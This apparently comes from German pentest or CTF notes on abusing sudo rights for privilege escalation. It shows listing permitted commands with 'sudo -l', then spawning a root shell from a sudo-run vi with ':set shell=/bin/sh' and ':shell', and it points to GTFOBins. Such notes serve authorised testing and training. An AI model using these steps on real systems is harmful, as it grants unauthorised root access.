sudo rechte ausnutzen
✍️ sudo -l
nutzen
sudo -l
nutzenImmer testen:
sudo -l
➡️ Zeigt dir, was du mit sudo
ohne Passwort ausführen darfst (oder mit bekanntem Passwort)
⚡ Beispiel: vi
darf mit sudo ausgeführt werden
vi
darf mit sudo ausgeführt werdensudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
Dann in vi
:
:set shell=/bin/sh
:shell
➡️ Du bekommst eine Root-Shell, da vi
mit Root-Rechten läuft
🔗 Warum funktioniert das?
vi
verliert untersudo
nicht seine Rechte:shell
oder:!sh
startet Subshell mit gleichen Privilegien
🔍 Tipp: GTFOBins
Immer checken, ob ein Befehl Root-Zugriff erlaubt: https://gtfobins.github.io
Beispielseite: vi
→ https://gtfobins.github.io/gtfobins/vi/#sudo
Last updated